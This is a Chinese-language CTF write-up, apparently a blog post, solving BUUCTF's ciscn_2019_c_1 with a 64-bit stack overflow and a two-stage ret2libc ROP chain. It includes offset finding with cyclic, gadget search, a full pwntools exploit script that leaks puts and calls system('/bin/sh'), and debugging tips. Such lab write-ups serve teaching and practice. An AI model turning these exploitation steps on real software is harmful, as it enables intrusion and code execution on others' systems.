CTF逆向实战:64位栈溢出与ROP链构造技术详解
2026/7/22 2:49:13 网站建设 项目流程

1. 逆向分析实战:从题目到思路的完整拆解

最近在BUUCTF平台上刷题,又遇到了那道经典的ciscn_2019_c_1。这道题在CTF逆向圈子里算是“老朋友”了,经常被拿来作为栈溢出和ROP链构造的入门教学案例。但每次重新分析,总能发现一些新的细节,或者对某些操作的理解更深一层。今天,我就把自己最近一次完整的分析过程记录下来,从拿到二进制文件开始,到最终拿到flag,每一步的思路、踩过的坑以及用到的技巧,都和大家分享一下。无论你是刚接触逆向的新手,还是想巩固一下基础的老手,希望这篇实战记录都能给你带来一些启发。

这道题的核心考点非常明确:64位程序的栈溢出漏洞利用,并且程序开启了NX保护,需要构造ROP链来调用系统函数(如system)获取shell。题目本身没有复杂的混淆或反调试,非常适合用来练习ROP攻击的基本功。整个分析过程,我们可以拆解为几个清晰的阶段:首先是静态分析,快速定位漏洞点和关键函数;然后是动态调试,验证我们的猜想并获取关键地址;最后是ROP链的构造与利用脚本的编写。下面,我们就一步步来。

1.1 初探:静态分析与漏洞定位

拿到一个陌生的二进制文件,第一步永远是先跑起来看看,再用工具“扫一眼”。我习惯先用filechecksec命令做个快速体检。

file ciscn_2019_c_1 checksec --file=ciscn_2019_c_1

输出结果会告诉我们这是一个64位的ELF可执行文件,并且关键的安全特性是:NX enabled(栈不可执行)。这意味着我们不能简单地把shellcode放在栈上然后跳转过去执行,必须转向ROP(Return-Oriented Programming)技术。

接下来用IDA Pro打开它进行静态分析。主函数main的结构很清晰:

int __cdecl main(int argc, const char **argv, const char **envp) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); puts("Welcome to this game!."); puts("It's a easy game."); puts("Enjoy it!"); return start_game(); }

程序调用了start_game函数。跟进这个函数,会发现它提供了一个菜单,有加密(encrypt)和解密(decrypt)功能。但仔细看代码逻辑,无论选择加密还是解密,最终都会走到同一个处理函数(我们暂且叫它process_input),并且这个函数存在明显的栈溢出漏洞。

关键漏洞点在于使用了不安全的gets函数来读取用户输入。在process_input函数中,通常会有一个局部字符数组(比如char s[100])用来存储输入,然后调用gets(s)gets函数会一直读取输入直到遇到换行符或EOF,完全不检查目标缓冲区的大小,这就为我们覆盖返回地址提供了可能。

注意:在静态分析时,要特别留意那些危险的字符串操作函数,如getsstrcpy(不带长度检查)、scanf%s格式符)等。它们往往是栈溢出的“罪魁祸首”。同时,要计算好缓冲区(比如s)的起始地址到函数返回地址(rbp+8)的偏移量。这可以通过IDA的栈视图或者手动计算rbp与缓冲区地址的差值来得到。

1.2 核心思路:绕过NX与寻找ROP Gadget

由于NX保护开启,我们的利用思路必须转向ROP。ROP的精髓在于利用程序中已有的、以ret指令结尾的小代码片段(gadget),将它们串联起来,达到改变程序控制流、执行任意代码的目的。对于这道题,最经典的目标是执行system("/bin/sh")

那么,我们需要找到哪些“零件”呢?

  1. 控制rdi寄存器的gadget:在64位Linux系统调用约定中,第一个参数由rdi寄存器传递。我们要执行system("/bin/sh"),就需要把字符串"/bin/sh"的地址放入rdi
  2. system函数的地址:可以是libc中的system函数地址。但ASLR(地址空间布局随机化)通常是开启的,libc的基址每次运行都不同。我们需要先泄漏出一个libc中的地址(比如puts函数的真实地址),然后根据libc版本中函数的固定偏移,计算出system和字符串"/bin/sh"的地址。
  3. /bin/sh字符串的地址:同上,需要从libc中计算得出,因为libc里本身就包含这个字符串。

所以,完整的攻击链(两次攻击)思路就出来了:

  • 第一次(泄漏地址):利用栈溢出,覆盖返回地址,跳转到puts@plt去打印出puts@got中的内容(即puts函数在内存中的真实地址)。然后让程序流返回到mainstart_game函数,让程序“重启”,以便我们进行第二次输入。
  • 第二次(getshell):根据泄漏出的puts真实地址,计算出libc基址,进而得到system"/bin/sh"的地址。再次利用栈溢出,构造ROP链:pop rdi; retgadget +"/bin/sh"地址+system地址

2. 动态调试与偏移计算

理论清晰了,接下来就需要用动态调试来获取精确的数值。我通常使用gdb配合pwndbg插件,效率会高很多。

2.1 计算精确的溢出偏移

首先,我们需要知道从我们输入的缓冲区开始,到覆盖掉函数返回地址,到底需要多少字节。这里可以用pattern工具来生成一段特殊的字符串。

# 使用pwntools的cyclic工具生成200个字符的模式串 cyclic 200

假设生成的是aaaabaaacaaadaaaeaaaf...。在gdb中运行程序,在gets函数调用后下断点,然后将这串字符作为输入。程序崩溃时,查看RIP(指令指针寄存器)的值,它会被我们输入字符串的某一部分覆盖。

# 在gdb中 run # 当程序提示输入时,粘贴刚才生成的200个字符

程序崩溃后,RIP的值可能显示为0x6161616161616166(‘faaaaaaa’的ASCII码)。此时,再用cyclic工具反查这个值在模式串中的位置。

cyclic -l 0x6161616161616166

命令会返回一个数字,比如120。这个数字就是从缓冲区开始到覆盖RIP所需的字节数。但这里有一个非常重要的细节:在64位程序中,RIP之前通常还有保存的RBP(8字节)。所以,从缓冲区开始到RIP的偏移量,实际上是偏移 = pattern_offset + 8。不过,更常见的做法是,我们构造payload时,先用任意数据(比如‘A’*offset)填充到RBP,再用8个字节覆盖RBP(虽然通常不重要,可以也用垃圾数据填充),最后才是我们想要覆盖的RIP地址。因此,让程序直接崩溃在RIP的偏移量,就是我们需要覆盖的RIP之前的填充长度。假设cyclic -l返回120,那么我们的payload结构就是:payload = b‘A’*120 + p64(ret_addr)

实操心得:不同环境(如本地调试和远程服务器)下的偏移量有可能不同,这通常是因为栈帧对齐或环境变量差异造成的。最稳妥的方法是,在攻击脚本中,先用一个简单的payload(如覆盖返回地址为main)测试一下,看程序是否能按预期循环起来,从而确认偏移量是否正确。

2.2 寻找必备的Gadget

我们需要一个pop rdi; ret的gadget。可以用ROPgadget工具在二进制文件中搜索。

ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret' | grep rdi

通常能在程序中找到类似0x400c83: pop rdi; ret这样的gadget。记下这个地址。

同时,我们还需要puts函数的PLT和GOT表地址。这些在IDA中很容易看到:

  • puts@plt: 例如0x4006e0
  • puts@got: 例如0x602020

另外,需要一个返回地址,让第一次攻击后程序能回到mainstart_game,以便进行第二次输入。可以直接用main函数的地址,例如0x400b28

3. 利用脚本编写与细节打磨

有了所有“零件”的地址,就可以开始编写利用脚本了。我习惯使用Python的pwntools库,它封装了很多和二进制程序交互的便捷功能。

3.1 第一阶段:泄漏Libc地址

第一阶段的payload结构如下:

payload = b‘A’ * offset # 填充到返回地址 payload += p64(pop_rdi_ret) # gadget地址 payload += p64(puts_got) # 参数1:要打印的地址(puts在GOT中的地址) payload += p64(puts_plt) # 调用puts函数 payload += p64(main_addr) # puts返回后,跳回main函数重新开始

编写脚本时要注意几点:

  1. 接收泄漏的地址puts输出的是内存中的原始字节。我们需要用recvuntil()recvline()来捕获输出,然后用u64()函数将6个字节(因为地址是6字节,高位补零)打包成一个64位整数。pwntoolsrecvline()可能会包含换行符,记得切片处理。
    # 接收直到某个提示字符,然后接收一行,提取地址 puts_leak = u64(io.recvuntil(b‘\x7f’)[-6:].ljust(8, b‘\x00’))
  2. 处理程序重启:发送完第一阶段payload后,程序执行puts打印地址,然后跳回main。我们需要让脚本继续与重启后的程序交互,准备发送第二阶段payload。这通常意味着需要再次recvuntil到程序的欢迎语或菜单提示。

3.2 第二阶段:计算地址并GetShell

拿到puts的真实地址后,我们需要确定目标系统的libc版本。BUUCTF平台通常会提供对应的libc文件,或者我们可以用LibcSearcher这样的工具来匹配。

假设我们知道了libc版本(比如libc-2.27.so),就可以计算了:

# 假设已知libc基址偏移 libc_base = puts_leak - libc.symbols[‘puts’] system_addr = libc_base + libc.symbols[‘system’] binsh_addr = libc_base + next(libc.search(b‘/bin/sh\x00’))

如果使用LibcSearcher

from LibcSearcher import * libc = LibcSearcher(‘puts’, puts_leak) libc_base = puts_leak - libc.dump(‘puts’) system_addr = libc_base + libc.dump(‘system’) binsh_addr = libc_base + libc.dump(‘str_bin_sh’)

然后构造第二阶段的payload:

payload2 = b‘A’ * offset payload2 += p64(pop_rdi_ret) payload2 += p64(binsh_addr) payload2 += p64(system_addr) # 有时为了栈平衡,在system后还可以加一个exit地址,但不是必须的

3.3 完整脚本示例与调试

下面是一个整合后的脚本框架:

from pwn import * from LibcSearcher import * context(os=‘linux’, arch=‘amd64’, log_level=‘debug’) io = remote(‘node4.buuoj.cn‘, 29584) # 替换成实际远程地址 # io = process(‘./ciscn_2019_c_1’) # 本地调试 elf = ELF(‘./ciscn_2019_c_1’) offset = 120 pop_rdi_ret = 0x400c83 ret_addr = 0x4006b9 # 有时需要一个单独的ret指令来对齐栈,视情况而定 puts_plt = elf.plt[‘puts’] puts_got = elf.got[‘puts’] main_addr = elf.symbols[‘main’] # 第一阶段 payload1 = b‘A’ * offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.sendlineafter(b‘Input your choice!\n’, b‘1’) # 选择加密或解密功能 io.sendlineafter(b‘Input your Plaintext to be encrypted\n’, payload1) # 接收泄漏的地址 io.recvuntil(b‘Ciphertext\n’) io.recvline() # 可能有一行乱码,跳过 puts_leak = u64(io.recvline()[:-1].ljust(8, b‘\x00’)) log.success(‘puts_leak = ‘ + hex(puts_leak)) # 计算libc地址 libc = LibcSearcher(‘puts’, puts_leak) libc_base = puts_leak - libc.dump(‘puts’) system_addr = libc_base + libc.dump(‘system’) binsh_addr = libc_base + libc.dump(‘str_bin_sh’) # 第二阶段 payload2 = b‘A’ * offset + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) io.sendlineafter(b‘Input your choice!\n’, b‘1’) io.sendlineafter(b‘Input your Plaintext to be encrypted\n’, payload2) io.interactive()

调试技巧

  • 在脚本开头设置context(log_level=‘debug’),可以看到所有发送和接收的数据,对于排查问题非常有用。
  • 如果本地通了但远程不通,首先检查偏移量、gadget地址是否一致。其次,检查libc版本是否匹配。BUUCTF题目通常会在附件或描述中给出libc,使用指定的libc文件进行计算最准确。
  • 有时远程环境需要额外的retgadget来对齐栈(由于MOVAPS指令导致的段错误),可以在pop rdi; ret前面加一个ret指令的地址。这是一个常见的坑点。

4. 常见问题与深度排查指南

在实际操作中,几乎不可能一次成功。下面是我在多次解题和教学中总结的几个常见问题及其排查思路。

4.1 泄漏的地址不正确或程序崩溃

  • 症状:第一阶段发送后,没有输出预期的地址,或者程序直接崩溃退出。
  • 排查
    1. 偏移量确认:这是最常见的原因。使用cyclic和gdb在远程环境对应的libc版本下精确计算一次偏移。不同libc的栈初始化可能略有不同。
    2. Payload构造:检查payload构造是否正确,特别是地址的打包(p64)和填充长度。确保覆盖RIP的地址是正确的gadget或函数地址。
    3. 栈对齐问题:在64位系统下,调用函数时栈指针rsp需要16字节对齐。有时在system调用前,rsp的值不是0x...0,会导致崩溃。解决方法是在system地址前加一个ret指令的地址(ret指令只做pop rip,可以微调rsp)。在你的payload中尝试:... p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr) ...
    4. 程序流程:确保你的payload发送到了正确的函数和输入点。有些题目可能有多个输入点,你的payload必须在触发漏洞的那个点发送。动态跟踪一下程序执行流。

4.2 第二阶段无法获取Shell

  • 症状:第一阶段成功泄漏地址,但第二阶段payload发送后,连接断开,没有shell。
  • 排查
    1. Libc版本:这是最大的疑点。泄漏的puts地址可能对应多个libc版本。使用LibcSearcher时,它可能会返回多个结果,需要根据题目平台提示或常见版本手动选择。最可靠的方法是使用题目提供的libc文件。
      # 如果提供了libc.so文件 libc = ELF(‘./libc-2.27.so’) libc_base = puts_leak - libc.symbols[‘puts’]
    2. /bin/sh字符串:确认你计算的binsh_addr是否正确。可以用libc.search(b‘/bin/sh‘)来搜索,但要注意可能有多个结果,通常取第一个。pwntoolsnext(libc.search(b‘/bin/sh\x00‘))是标准做法。
    3. One-Gadget尝试:有时system(“/bin/sh”)调用会因为环境变量等问题失败。可以尝试使用one_gadget工具在libc中寻找能直接启动shell的gadget。
      one_gadget ./libc-2.27.so
      然后将第二阶段payload的system_addr替换为one-gadget的地址。注意one-gadget通常有约束条件(如某个寄存器需为NULL),不一定总能成功。

4.3 脚本交互逻辑错误

  • 症状:脚本卡在某个recvuntil处,或者发送payload的时机不对。
  • 排查
    1. 使用Debug输出:开启log_level=‘debug’,仔细观察脚本发送和接收的每一字节数据,看是否匹配你的预期。
    2. 处理多余输出:程序在打印泄漏的地址前后,可能会输出一些菜单、提示或加密后的乱码。你的recvuntilrecvline需要精确地跳过这些无关输出,捕捉到纯粹的地址字节。可能需要多次调整接收语句的参数。
    3. 交互稳定性:网络延迟可能导致交互不同步。可以适当增加timeout,或者使用更稳健的接收函数,比如io.recv(n)指定接收字节数。

4.4 关于ret2csu的进阶技巧

ciscn_2019_c_1中,我们幸运地找到了直接的pop rdi; ret。但并非所有程序都这么友好。如果找不到控制rdi的gadget,就需要用到ret2csu技术。这是64位ELF程序中一个强大的通用gadget,位于__libc_csu_init函数结尾处。它包含一系列pop指令,可以控制rbx, rbp, r12, r13, r14, r15,然后通过call指令间接控制rdi, rsi, rdx等(具体取决于r12指向的函数)。这是一个更复杂但必须掌握的技巧,当简单gadget缺失时,它就是救命稻草。虽然这道题用不上,但在更复杂的题目中,理解ret2csu能大大拓宽你的解题思路。

最后,我想说,逆向分析和漏洞利用是一个需要大量动手实践的技能。像ciscn_2019_c_1这样的经典题目,值得反复练习,直到你能在不看任何参考的情况下,独立完成从分析、调试到利用的全过程。每一次成功getshell,不仅是解出一道题,更是对计算机系统底层原理的一次深刻理解。希望这篇详细的实战记录,能帮你理顺思路,少走弯路。如果在实际操作中遇到其他问题,欢迎一起交流探讨。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询